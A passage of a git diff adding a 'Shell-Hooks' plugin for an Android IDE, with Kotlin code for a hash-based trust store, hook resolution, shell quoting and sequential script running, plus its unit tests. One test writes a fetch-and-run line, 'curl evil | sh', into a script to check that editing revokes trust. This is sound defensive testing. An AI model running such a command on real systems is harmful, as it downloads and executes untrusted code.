b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookResolver.kt @@ -0,0 +1,101 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File +import java.io.IOException + +/** + * A script ready to run. [executable] is what runs; for a project hook it is a private copy of + * the bytes the user trusted, so the file cannot change between the check and the run. + * [original] is the script the user sees and edits. + */ +data class ResolvedScript( + val executable: File, + val original: File, + val source: ScriptSource, + val hooksDir: File, +) + +/** Turns an event into the scripts to run for it. */ +fun interface ScriptResolver { + fun resolve(event: HookEvent): List +} + +/** What the user turned on; read on every event, so a change applies to the next one. */ +interface HookSwitches { + val enabled: Boolean + val projectHooksEnabled: Boolean + + fun isHookEnabled(hook: Hook): Boolean +} + +/** + * Finds the user's global scripts for an event, then the project's own, which run only when + * project hooks are on and the user trusted their exact content. An untrusted project script is + * skipped and listed in [log] for review. + */ +class HookResolver( + private val paths: HookPaths, + private val switches: HookSwitches, + private val trust: TrustStore, + private val log: HookLog, + private val verifiedDir: File, + private val warn: (String) -> Unit = {}, +) : ScriptResolver { + override fun resolve(event: HookEvent): List { + if (!switches.enabled || !switches.isHookEnabled(event.hook)) return emptyList() + val global = + HookDiscovery.discover(paths.globalHooks, event.hook.id).map { + ResolvedScript(it, it, ScriptSource.GLOBAL, paths.globalHooks) + } + val projectDir = event.projectDir + if (!switches.projectHooksEnabled || projectDir == null) return global + val root = HookPaths.projectHooks(projectDir) + val project = HookDiscovery.discover(root, event.hook.id).mapNotNull { verify(projectDir, root, it) } + return global + project + } + + private fun verify( + projectDir: File, + root: File, + script: File, + ): ResolvedScript? { + val bytes = + try { + script.readBytes() + } catch (e: IOException) { + warn("Shell Hooks: cannot read ${script.path}: ${e.message}") + return null + } + val sha = TrustStore.sha256(bytes) + val relativePath = script.relativeTo(root).path + if (!trust.isTrusted(projectDir, relativePath, sha)) { + log.addPending(PendingTrust(projectDir, relativePath, script, sha)) + return null + } + log.removePending(projectDir, relativePath) + val copy = verifiedCopy(bytes, sha) ?: return null + return ResolvedScript(copy, script, ScriptSource.PROJECT, root) + } + + // Named by content hash, so one copy serves every run of the same bytes. Written to a temporary + // name first: a half-written copy must never be executable under the final name. + private fun verifiedCopy( + bytes: ByteArray, + sha: String, + ): File? = + try { + verifiedDir.mkdirs() + val copy = File(verifiedDir, sha) + if (!copy.isFile || TrustStore.sha256(copy.readBytes()) != sha) { + val temp = File(verifiedDir, "$sha.tmp") + temp.writeBytes(bytes) + temp.setExecutable(true, true) + if (!temp.renameTo(copy)) throw IOException("rename failed") + } + copy.setExecutable(true, true) + copy + } catch (e: IOException) { + warn("Shell Hooks: cannot stage a trusted copy: ${e.message}") + null + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookRunner.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookRunner.kt new file mode 100644 index 000000000..3d0b5130a --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookRunner.kt @@ -0,0 +1,216 @@ +package org.appdevforall.shellhooks.engine + +import com.itsaky.androidide.plugins.extensions.CommandResult +import com.itsaky.androidide.plugins.extensions.CommandSpec +import com.itsaky.androidide.plugins.services.IdeCommandService +import kotlinx.coroutines.CancellationException +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Job +import kotlinx.coroutines.channels.BufferOverflow +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.coroutineScope +import kotlinx.coroutines.delay +import kotlinx.coroutines.launch +import kotlinx.coroutines.withTimeoutOrNull +import java.io.File + +/** Runs one command and suspends until it ends; cancelling the caller stops the command. */ +fun interface CommandRunner { + suspend fun run( + spec: CommandSpec.ShellCommand, + timeoutMs: Long, + ): CommandResult +} + +/** [CommandRunner] over the IDE's headless command service. */ +class IdeCommandRunner( + private val service: () -> IdeCommandService?, +) : CommandRunner { + override suspend fun run( + spec: CommandSpec.ShellCommand, + timeoutMs: Long, + ): CommandResult { + val commands = service() ?: return CommandResult.Failure(-1, "", "", "The IDE's command service is unavailable", 0) + val execution = commands.executeCommand(spec, timeoutMs) + return try { + coroutineScope { + // The host buffers every output line until someone reads them; drain them so a + // chatty script does not hold its whole output twice. + val drain = launch { execution.output.collect { } } + execution.await().also { drain.cancel() } + } + } catch (e: CancellationException) { + execution.cancel() + throw e + } + } +} + +/** How each script is launched: the bundled wrapper, the script, then the event's arguments. */ +object HookInvocation { + fun spec( + wrapper: File, + script: ResolvedScript, + event: HookEvent, + ideVersion: String?, + ): CommandSpec.ShellCommand = + CommandSpec.ShellCommand( + executable = "sh", + arguments = listOf(wrapper.path, script.executable.path) + event.args, + // Null: the host's project root, or no directory with no project open. The wrapper + // then changes to COGO_PROJECT_DIR, which for project-closed the host would refuse. + workingDirectory = null, + environment = environment(script, event, ideVersion), + ) + + fun environment( + script: ResolvedScript, + event: HookEvent, + ideVersion: String?, + ): Map = + buildMap { + put("COGO_HOOK", event.hook.id) + put("COGO_PROJECT_DIR", event.projectDir?.path ?: "") + ideVersion?.let { put("COGO_IDE_VERSION", it) } + put("COGO_HOOKS_DIR", script.hooksDir.path) + put("COGO_HOOK_SCRIPT", script.original.path) + put("COGO_HOOK_SOURCE", script.source.id) + } +} + +/** + * Runs hook scripts one at a time, in the order their events happened. Events wait in a bounded + * queue; when it is full the oldest is dropped. One at a time keeps the plugin far under the + * host's limit of three concurrent commands, and keeps a burst of saves from starting a burst + * of processes. + */ +class HookRunner( + scope: CoroutineScope, + private val resolver: ScriptResolver, + private val commands: CommandRunner, + private val log: HookLog, + private val wrapper: () -> File?, + private val timeoutMs: () -> Long, + private val ideVersion: String? = null, + private val clock: () -> Long = System::currentTimeMillis, + private val warn: (String) -> Unit = {}, + capacity: Int = DEFAULT_QUEUE_CAPACITY, +) { + private val queue = + Channel(capacity, BufferOverflow.DROP_OLDEST) { dropped -> + warn("Shell Hooks: queue full, dropped ${dropped.hook.id}") + } + + private val worker: Job = + scope.launch { + for (event in queue) process(event) + } + + /** Queues [event]; false once the runner is closed. */ + fun submit(event: HookEvent): Boolean = queue.trySend(event).isSuccess + + /** Stops taking events and cancels the script running now. */ + fun close() { + queue.close() + worker.cancel() + } + + private suspend fun process(event: HookEvent) { + val scripts = + try { + resolver.resolve(event) + } catch (e: Exception) { + warn("Shell Hooks: cannot list scripts for ${event.hook.id}: ${e.message}") + return + } + for (script in scripts) runOne(event, script) + } + + private suspend fun runOne( + event: HookEvent, + script: ResolvedScript, + ) { + val started = clock() + val limit = timeoutMs() + val wrapperFile = wrapper() + val (outcome, exitCode, output) = + if (wrapperFile == null) { + Triple(Outcome.NOT_STARTED, null, "The hook runner script is missing") + } else { + val spec = HookInvocation.spec(wrapperFile, script, event, ideVersion) + try { + // The host enforces the limit; the grace period only catches a host that does not. + withTimeoutOrNull(limit + TIMEOUT_GRACE_MS) { commands.run(spec, limit) } + ?.let(::describe) + ?: Triple(Outcome.TIMED_OUT, null, "Stopped after ${limit / 1000} s") + } catch (e: CancellationException) { + throw e + } catch (e: Exception) { + // A refused start: the concurrency limit, or a permission the plugin lacks. + Triple(Outcome.NOT_STARTED, null, e.message ?: e.javaClass.simpleName) + } + } + log.record( + HookRun( + startedAtMillis = started, + hook = event.hook, + script = script.original, + source = script.source, + target = event.target, + outcome = outcome, + exitCode = exitCode, + durationMillis = clock() - started, + output = output, + ), + ) + } + + private fun describe(result: CommandResult): Triple = + when (result) { + is CommandResult.Success -> Triple(Outcome.SUCCEEDED, result.exitCode, HookLog.combineOutput(result.stdout, result.stderr)) + is CommandResult.Failure -> { + val output = HookLog.combineOutput(result.stdout, result.stderr) + val error = result.error + when { + error != null && error.contains("timed out", ignoreCase = true) -> + Triple(Outcome.TIMED_OUT, null, listOf(output, error).filter { it.isNotBlank() }.joinToString("\n")) + error != null && result.exitCode == -1 -> + Triple(Outcome.NOT_STARTED, null, error) + else -> Triple(Outcome.FAILED, result.exitCode, output) + } + } + is CommandResult.Cancelled -> Triple(Outcome.CANCELLED, null, HookLog.combineOutput(result.partialStdout, result.partialStderr)) + } + + companion object { + const val DEFAULT_QUEUE_CAPACITY = 64 + const val TIMEOUT_GRACE_MS = 5_000L + } +} + +/** + * Collapses a burst of events into the last one, delivered [delayMs] after the burst ends. + * Switching through five tabs runs file-activated once, for the tab the user stopped on. + */ +class Coalescer( + private val scope: CoroutineScope, + private val delayMs: Long, + private val emit: (HookEvent) -> Unit, +) { + private var pending: Job? = null + + fun offer(event: HookEvent) { + synchronized(this) { + pending?.cancel() + pending = + scope.launch { + delay(delayMs) + emit(event) + } + } + } + + fun cancel() { + synchronized(this) { pending?.cancel() } + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/ShellQuote.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/ShellQuote.kt new file mode 100644 index 000000000..26767cdb0 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/ShellQuote.kt @@ -0,0 +1,32 @@ +package org.appdevforall.shellhooks.engine + +/** + * Quoting for the one place a command must be a string: the Terminal takes a command line, not + * an argument list. Hooks run headless never pass through here; their values travel as argv. + */ +object ShellQuote { + /** + * [value] as one POSIX shell word. Inside single quotes nothing is special, so the only + * character to handle is the single quote itself: close the quote, emit an escaped quote, + * reopen. `$(...)`, backticks, `"` and newlines all stay literal. + */ + fun quote(value: String): String = "'" + value.replace("'", "'\\''") + "'" + + /** [words] as a command line in which each word reaches the program unchanged. */ + fun join(words: List): String = words.joinToString(" ") { quote(it) } + + /** + * `NAME='value' ... word ...`: [environment] set for this one command. Names are not quoted, + * so only names the plugin itself chose may be passed. + */ + fun command( + environment: Map, + words: List, + ): String { + environment.keys.forEach { require(NAME.matches(it)) { "Not an environment variable name: $it" } } + val assignments = environment.entries.joinToString(" ") { (name, value) -> name + "=" + quote(value) } + return listOf(assignments, join(words)).filter { it.isNotEmpty() }.joinToString(" ") + } + + private val NAME = Regex("[A-Za-z_][A-Za-z0-9_]*") +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/TrustStore.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/TrustStore.kt new file mode 100644 index 000000000..9cf3ff67f --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/TrustStore.kt @@ -0,0 +1,93 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File +import java.security.MessageDigest +import java.util.Base64 + +/** The few string operations [TrustStore] needs, so it runs on SharedPreferences or a map. */ +interface KeyValueStore { + fun getString(key: String): String? + + /** Stores [value] under [key]; null removes the key. */ + fun putString( + key: String, + value: String?, + ) + + fun keys(): Set +} + +/** + * Which project hooks the user approved. Any plugin with `filesystem.write`, or an AI agent, can + * write into a project, so a script found there runs only once the user has read it and trusted + * that exact content: approval is keyed on the project, the script's path inside the hooks + * folder, and the SHA-256 of its bytes. Editing the script, or adding one, needs a new approval. + */ +class TrustStore( + private val store: KeyValueStore, +) { + fun isTrusted( + projectDir: File, + relativePath: String, + sha256: String, + ): Boolean = read(projectDir)[relativePath] == sha256 + + /** Trusts this content of [relativePath]; a previous approval of other content is replaced. */ + fun trust( + projectDir: File, + relativePath: String, + sha256: String, + ) { + synchronized(this) { + write(projectDir, read(projectDir) + (relativePath to sha256)) + } + } + + /** Forgets every approval for [projectDir]. */ + fun revoke(projectDir: File) { + synchronized(this) { store.putString(key(projectDir), null) } + } + + /** Projects with at least one trusted hook, as their canonical paths, sorted. */ + fun trustedProjects(): List = + store.keys().filter { it.startsWith(PREFIX) }.map { it.removePrefix(PREFIX) }.sorted() + + /** How many scripts are trusted in [projectDir]. */ + fun trustedCount(projectDir: File): Int = read(projectDir).size + + private fun read(projectDir: File): Map { + val raw = store.getString(key(projectDir)) ?: return emptyMap() + return raw.lineSequence() + .mapNotNull { line -> + val tab = line.indexOf('\t') + if (tab <= 0) return@mapNotNull null + val path = runCatching { String(Base64.getDecoder().decode(line.substring(tab + 1)), Charsets.UTF_8) } + .getOrNull() ?: return@mapNotNull null + path to line.substring(0, tab) + }.toMap() + } + + // One line per script: "\t". Base64, because a file name may hold a tab + // or a newline. + private fun write( + projectDir: File, + entries: Map, + ) { + val value = + entries.entries.sortedBy { it.key }.joinToString("\n") { (path, sha) -> + sha + "\t" + Base64.getEncoder().encodeToString(path.toByteArray(Charsets.UTF_8)) + } + store.putString(key(projectDir), value.ifEmpty { null }) + } + + private fun key(projectDir: File) = PREFIX + canonical(projectDir) + + companion object { + private const val PREFIX = "trust:" + + fun canonical(dir: File): String = runCatching { dir.canonicalPath }.getOrDefault(dir.absolutePath) + + fun sha256(bytes: ByteArray): String = + MessageDigest.getInstance("SHA-256").digest(bytes).joinToString("") { "%02x".format(it) } + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookDiscoveryTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookDiscoveryTest.kt new file mode 100644 index 000000000..7f7638117 --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookDiscoveryTest.kt @@ -0,0 +1,74 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.After +import org.junit.Assert.assertEquals +import org.junit.Assert.assertTrue +import org.junit.Test +import java.io.File + +class HookDiscoveryTest { + private val root = tempDir("hooks") + + @After + fun tearDown() { + root.deleteRecursively() + } + + @Test + fun runsTheNamedScriptThenTheDirectoryInByteOrder() { + root.script("file-saved.d/b") + root.script("file-saved.d/A") + root.script("file-saved.d/10-x") + root.script("file-saved.d/2-y") + root.script("file-saved") + + val names = HookDiscovery.discover(root, "file-saved").map { it.relativeTo(root).path } + + assertEquals(listOf("file-saved", "file-saved.d/10-x", "file-saved.d/2-y", "file-saved.d/A", "file-saved.d/b"), names) + } + + @Test + fun skipsScriptsWithoutTheExecutableBit() { + root.script("file-saved", executable = false) + root.script("file-saved.d/off", executable = false) + root.script("file-saved.d/on") + + assertEquals(listOf("on"), HookDiscovery.discover(root, "file-saved").map { it.name }) + } + + @Test + fun skipsSamplesDotfilesBackupsAndDirectories() { + root.script("file-saved.sample") + root.script("file-saved.d/run.sample") + root.script("file-saved.d/.run.swp") + root.script("file-saved.d/run~") + File(root, "file-saved.d/subdir").mkdirs() + root.script("file-saved.d/run") + + assertEquals(listOf("run"), HookDiscovery.discover(root, "file-saved").map { it.name }) + } + + @Test + fun anotherHooksScriptsAreNotPickedUp() { + root.script("file-saved-extra") + root.script("file-opened") + + assertTrue(HookDiscovery.discover(root, "file-saved").isEmpty()) + } + + @Test + fun aMissingFolderHasNoScripts() { + assertTrue(HookDiscovery.discover(File(root, "absent"), "file-saved").isEmpty()) + assertTrue(HookDiscovery.actions(File(root, "absent")).isEmpty()) + } + + @Test + fun actionsAreTheRunnableScriptsSortedByName() { + root.script("actions/zip") + root.script("actions/count") + root.script("actions/notes.sample") + root.script("actions/readme", executable = false) + + assertEquals(listOf("count", "zip"), HookDiscovery.actions(File(root, "actions")).map { it.name }) + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookInvocationTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookInvocationTest.kt new file mode 100644 index 000000000..3774aac30 --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookInvocationTest.kt @@ -0,0 +1,86 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.Assert.assertEquals +import org.junit.Assert.assertFalse +import org.junit.Assert.assertNull +import org.junit.Test +import java.io.File + +class HookInvocationTest { + private val wrapper = File("/data/plugin/cogo-hook-run.sh") + private val hooksDir = File("/home/.config/codeonthego/hooks") + private val script = ResolvedScript(File("$hooksDir/file-saved"), File("$hooksDir/file-saved"), ScriptSource.GLOBAL, hooksDir) + private val project = File("/projects/my app") + + @Test + fun theWrapperGetsTheScriptThenTheEventArgumentsAsSeparateWords() { + for (name in HOSTILE_NAMES) { + val event = HookEvent.fileSaved(File(project, name), project) + + val spec = HookInvocation.spec(wrapper, script, event, "26.47") + + assertEquals("sh", spec.executable) + assertEquals(listOf(wrapper.path, script.executable.path, File(project, name).path), spec.arguments) + } + } + + @Test + fun theWorkingDirectoryIsLeftToTheWrapper() { + // The host refuses a directory outside the open project, which project-closed would hit. + assertNull(HookInvocation.spec(wrapper, script, HookEvent.projectClosed(project), null).workingDirectory) + } + + @Test + fun environmentNamesTheHookProjectAndScript() { + val env = HookInvocation.environment(script, HookEvent.fileSaved(File(project, "a.kt"), project), "26.47") + + assertEquals( + mapOf( + "COGO_HOOK" to "file-saved", + "COGO_PROJECT_DIR" to project.path, + "COGO_IDE_VERSION" to "26.47", + "COGO_HOOKS_DIR" to hooksDir.path, + "COGO_HOOK_SCRIPT" to script.original.path, + "COGO_HOOK_SOURCE" to "global", + ), + env, + ) + } + + @Test + fun noProjectIsAnEmptyProjectDirAndAnUnknownVersionIsOmitted() { + val env = HookInvocation.environment(script, HookEvent.buildStarted(null), null) + + assertEquals("", env["COGO_PROJECT_DIR"]) + assertFalse(env.containsKey("COGO_IDE_VERSION")) + } + + @Test + fun eachHookPassesTheDocumentedArguments() { + val file = File(project, "a.kt") + assertEquals(emptyList(), HookEvent.ideStarted(project).args) + assertEquals(listOf(project.path), HookEvent.projectOpened(project).args) + assertEquals(listOf(project.path), HookEvent.projectClosed(project).args) + assertEquals(listOf(file.path), HookEvent.fileOpened(file, project).args) + assertEquals(listOf(file.path), HookEvent.fileClosed(file, project).args) + assertEquals(listOf(file.path), HookEvent.fileActivated(file, project).args) + assertEquals(listOf(""), HookEvent.fileActivated(null, project).args) + assertEquals(listOf(file.path), HookEvent.fileSaved(file, project).args) + assertEquals(emptyList(), HookEvent.buildStarted(project).args) + assertEquals(emptyList(), HookEvent.buildSucceeded(project).args) + assertEquals(listOf("BUILD_FAILED"), HookEvent.buildFailed("BUILD_FAILED", project).args) + assertEquals(listOf("cancelled"), HookEvent.buildFailed(null, project).args) + } + + @Test + fun hookIdsAreTheScriptFileNames() { + assertEquals( + listOf( + "ide-started", "project-opened", "project-closed", "file-opened", "file-closed", + "file-activated", "file-saved", "build-started", "build-succeeded", "build-failed", + ), + Hook.entries.map { it.id }, + ) + Hook.entries.forEach { assertEquals(it, Hook.fromId(it.id)) } + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookResolverTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookResolverTest.kt new file mode 100644 index 000000000..5336a3ffc --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookResolverTest.kt @@ -0,0 +1,125 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.After +import org.junit.Assert.assertEquals +import org.junit.Assert.assertNotEquals +import org.junit.Assert.assertTrue +import org.junit.Test +import java.io.File + +class HookResolverTest { + private val appFiles = tempDir("appfiles") + private val paths = HookPaths(appFiles) + private val project = tempDir("project") + private val projectHooks = HookPaths.projectHooks(project) + private val verified = tempDir("verified") + private val trust = TrustStore(MapStore()) + private val log = HookLog() + + private val switches = + object : HookSwitches { + override var enabled = true + override var projectHooksEnabled = true + val off = mutableSetOf() + + override fun isHookEnabled(hook: Hook) = hook !in off + } + + private val resolver = HookResolver(paths, switches, trust, log, verified) + + @After + fun tearDown() { + listOf(appFiles, project, verified).forEach { it.deleteRecursively() } + } + + private fun saved() = HookEvent.fileSaved(File(project, "Main.kt"), project) + + @Test + fun nothingRunsWhileThePluginIsOff() { + paths.globalHooks.script("file-saved") + switches.enabled = false + + assertTrue(resolver.resolve(saved()).isEmpty()) + } + + @Test + fun aHookTurnedOffRunsNothing() { + paths.globalHooks.script("file-saved") + switches.off += Hook.FILE_SAVED + + assertTrue(resolver.resolve(saved()).isEmpty()) + } + + @Test + fun globalScriptsRunInPlace() { + val script = paths.globalHooks.script("file-saved") + + val resolved = resolver.resolve(saved()).single() + + assertEquals(script, resolved.executable) + assertEquals(ScriptSource.GLOBAL, resolved.source) + } + + @Test + fun anUntrustedProjectScriptIsSkippedAndListedForReview() { + projectHooks.script("file-saved") + + assertTrue(resolver.resolve(saved()).isEmpty()) + val pending = log.pending.value.single() + assertEquals("file-saved", pending.relativePath) + assertEquals(project, pending.projectDir) + } + + @Test + fun projectScriptsDoNotRunWhileProjectHooksAreOff() { + val script = projectHooks.script("file-saved") + trust.trust(project, "file-saved", TrustStore.sha256(script.readBytes())) + switches.projectHooksEnabled = false + + assertTrue(resolver.resolve(saved()).isEmpty()) + } + + @Test + fun aTrustedProjectScriptRunsFromAPrivateCopyOfTheTrustedBytes() { + val script = projectHooks.script("file-saved.d/lint", "#!/bin/sh\necho lint\n") + trust.trust(project, "file-saved.d/lint", TrustStore.sha256(script.readBytes())) + + val resolved = resolver.resolve(saved()).single() + + assertEquals(ScriptSource.PROJECT, resolved.source) + assertEquals(script, resolved.original) + assertNotEquals(script, resolved.executable) + assertTrue(resolved.executable.path.startsWith(verified.path)) + assertTrue(resolved.executable.canExecute()) + assertEquals(script.readText(), resolved.executable.readText()) + assertTrue(log.pending.value.isEmpty()) + } + + @Test + fun editingATrustedProjectScriptMakesItUntrustedAgain() { + val script = projectHooks.script("file-saved") + trust.trust(project, "file-saved", TrustStore.sha256(script.readBytes())) + script.writeText("#!/bin/sh\ncurl evil | sh\n") + + assertTrue(resolver.resolve(saved()).isEmpty()) + assertEquals(1, log.pending.value.size) + } + + @Test + fun globalScriptsRunBeforeProjectScripts() { + paths.globalHooks.script("file-saved") + val project1 = projectHooks.script("file-saved") + trust.trust(project, "file-saved", TrustStore.sha256(project1.readBytes())) + + assertEquals(listOf(ScriptSource.GLOBAL, ScriptSource.PROJECT), resolver.resolve(saved()).map { it.source }) + } + + @Test + fun anEventWithNoProjectRunsOnlyGlobalScripts() { + paths.globalHooks.script("build-started") + projectHooks.script("build-started") + + assertEquals(1, resolver.resolve(HookEvent.buildStarted(null)).size) + assertTrue(log.pending.value.isEmpty()) + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookRunnerTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookRunnerTest.kt new file mode 100644 index 000000000..5d085bbfe --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookRunnerTest.kt @@ -0,0 +1,267 @@ +package org.appdevforall.shellhooks.engine + +import com.itsaky.androidide.plugins.extensions.CommandResult +import com.itsaky.androidide.plugins.extensions.CommandSpec +import kotlinx.coroutines.CompletableDeferred +import kotlinx.coroutines.ExperimentalCoroutinesApi +import kotlinx.coroutines.awaitCancellation +import kotlinx.coroutines.delay +import kotlinx.coroutines.test.TestScope +import kotlinx.coroutines.test.advanceTimeBy +import kotlinx.coroutines.test.runCurrent +import kotlinx.coroutines.test.runTest +import org.junit.Assert.assertEquals +import org.junit.Assert.assertTrue +import org.junit.Test +import java.io.File +import java.util.concurrent.atomic.AtomicInteger + +@OptIn(ExperimentalCoroutinesApi::class) +class HookRunnerTest { + private val log = HookLog() + private val wrapper = File("/data/plugin/cogo-hook-run.sh") + private val project = File("/projects/app") + + /** One script per event, named after the event's first argument. */ + private val oneScriptPerEvent = + ScriptResolver { event -> + val script = File("/hooks/${event.hook.id}") + listOf(ResolvedScript(script, script, ScriptSource.GLOBAL, File("/hooks"))) + } + + private val success = CommandResult.Success(0, "ok\n", "", 1) + + // advanceUntilIdle() ignores backgroundScope, where the runner's worker lives. + private fun TestScope.settle() { + advanceTimeBy(1_000_000) + runCurrent() + } + + private fun TestScope.runner( + commands: CommandRunner, + resolver: ScriptResolver = oneScriptPerEvent, + timeoutMs: Long = 60_000, + capacity: Int = HookRunner.DEFAULT_QUEUE_CAPACITY, + warnings: MutableList = mutableListOf(), + ) = HookRunner( + scope = backgroundScope, + resolver = resolver, + commands = commands, + log = log, + wrapper = { wrapper }, + timeoutMs = { timeoutMs }, + clock = { testScheduler.currentTime }, + warn = { warnings += it }, + capacity = capacity, + ) + + @Test + fun runsOneScriptAtATimeInEventOrder() = + runTest { + val running = AtomicInteger() + var mostAtOnce = 0 + val order = mutableListOf() + val runner = + runner( + CommandRunner { spec, _ -> + mostAtOnce = maxOf(mostAtOnce, running.incrementAndGet()) + order += spec.arguments.drop(2).firstOrNull() ?: "" + delay(100) + running.decrementAndGet() + success + }, + ) + + repeat(10) { runner.submit(HookEvent.fileSaved(File("/projects/app/F$it.kt"), project)) } + settle() + + assertEquals("never more than one command at a time (host allows 3)", 1, mostAtOnce) + assertEquals((0 until 10).map { "/projects/app/F$it.kt" }, order) + assertEquals(10, log.runs.value.size) + } + + @Test + fun aFullQueueDropsTheOldestEvent() = + runTest { + val release = CompletableDeferred() + val ran = mutableListOf() + val warnings = mutableListOf() + val runner = + runner( + CommandRunner { spec, _ -> + val file = spec.arguments[2] + if (file == "first") release.await() + ran += file + success + }, + capacity = 3, + warnings = warnings, + ) + + runner.submit(HookEvent.fileSaved(File("first"), null)) + runCurrent() // the worker takes "first" and blocks on it + listOf("a", "b", "c", "d", "e").forEach { runner.submit(HookEvent.fileSaved(File(it), null)) } + release.complete(Unit) + settle() + + assertEquals(listOf("first", "c", "d", "e"), ran) + assertEquals(2, warnings.count { it.contains("queue full") }) + } + + @Test + fun aScriptThatOutlivesItsTimeoutIsStoppedAndRecordedAsTimedOut() = + runTest { + var cancelled = false + val runner = + runner( + CommandRunner { _, _ -> + try { + awaitCancellation() + } finally { + cancelled = true + } + }, + timeoutMs = 1_000, + ) + + runner.submit(HookEvent.buildStarted(project)) + advanceTimeBy(1_000 + HookRunner.TIMEOUT_GRACE_MS + 1) + runCurrent() + + assertTrue("the hung command was cancelled", cancelled) + assertEquals(Outcome.TIMED_OUT, log.runs.value.single().outcome) + } + + @Test + fun theTimeoutSettingReachesTheHost() = + runTest { + var limit = 0L + val runner = runner(CommandRunner { _, timeout -> limit = timeout; success }, timeoutMs = 42_000) + + runner.submit(HookEvent.buildStarted(project)) + settle() + + assertEquals(42_000L, limit) + } + + @Test + fun theHostsOwnTimeoutIsRecordedAsTimedOut() = + runTest { + val runner = + runner(CommandRunner { _, _ -> CommandResult.Failure(-1, "partial", "", "Command timed out after 60000ms: x", 60_000) }) + + runner.submit(HookEvent.buildStarted(project)) + settle() + + assertEquals(Outcome.TIMED_OUT, log.runs.value.single().outcome) + } + + @Test + fun aRefusedStartIsRecordedAndTheQueueKeepsGoing() = + runTest { + var calls = 0 + val runner = + runner( + CommandRunner { _, _ -> + if (calls++ == 0) throw IllegalStateException("maximum of 3 concurrent commands") + success + }, + ) + + runner.submit(HookEvent.buildStarted(project)) + runner.submit(HookEvent.buildSucceeded(project)) + settle() + + val runs = log.runs.value.reversed() + assertEquals(listOf(Outcome.NOT_STARTED, Outcome.SUCCEEDED), runs.map { it.outcome }) + } + + @Test + fun aNonZeroExitIsAFailureWithItsCodeAndOutput() = + runTest { + val runner = runner(CommandRunner { _, _ -> CommandResult.Failure(3, "out", "err", null, 5) }) + + runner.submit(HookEvent.buildFailed("BUILD_FAILED", project)) + settle() + + val run = log.runs.value.single() + assertEquals(Outcome.FAILED, run.outcome) + assertEquals(3, run.exitCode) + assertEquals("out\nerr", run.output) + assertEquals("BUILD_FAILED", run.target) + } + + @Test + fun aMissingWrapperRunsNothing() = + runTest { + var calls = 0 + val runner = + HookRunner( + scope = backgroundScope, + resolver = oneScriptPerEvent, + commands = CommandRunner { _, _ -> calls++; success }, + log = log, + wrapper = { null }, + timeoutMs = { 1_000 }, + ) + + runner.submit(HookEvent.buildStarted(project)) + settle() + + assertEquals(0, calls) + assertEquals(Outcome.NOT_STARTED, log.runs.value.single().outcome) + } + + @Test + fun closingStopsTheRunningScriptAndRefusesNewEvents() = + runTest { + var cancelled = false + val runner = + runner( + CommandRunner { _, _ -> + try { + awaitCancellation() + } finally { + cancelled = true + } + }, + ) + runner.submit(HookEvent.buildStarted(project)) + runCurrent() + + runner.close() + runCurrent() + + assertTrue(cancelled) + assertEquals(false, runner.submit(HookEvent.buildSucceeded(project))) + } + + @Test + fun coalescerDeliversOnlyTheLastOfABurst() = + runTest { + val emitted = mutableListOf() + val coalescer = Coalescer(backgroundScope, 500) { emitted += it } + + listOf("a", "b", "c").forEach { + coalescer.offer(HookEvent.fileActivated(File(it), null)) + advanceTimeBy(200) + } + advanceTimeBy(501) + + assertEquals(listOf("c"), emitted.map { it.args.single() }) + } + + @Test + fun coalescerDeliversEventsFartherApartThanItsDelay() = + runTest { + val emitted = mutableListOf() + val coalescer = Coalescer(backgroundScope, 500) { emitted += it } + + coalescer.offer(HookEvent.fileActivated(File("a"), null)) + advanceTimeBy(600) + coalescer.offer(HookEvent.fileActivated(null, null)) + advanceTimeBy(600) + + assertEquals(listOf("a", ""), emitted.map { it.args.single() }) + } +} diff --git a/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/ShellQuoteTest.kt b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/ShellQuoteTest.kt new file mode 100644 index 000000000..5014cb389 --- /dev/null +++ b/plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/ShellQuoteTest.kt @@ -0,0 +1,56 @@ +package org.appdevforall.shellhooks.engine + +import org.junit.Assert.assertEquals +import org.junit.Assert.assertFalse +import org.junit.Assume.assumeTrue +import org.junit.Test +import java.io.File +import java.util.concurrent.TimeUnit + +class 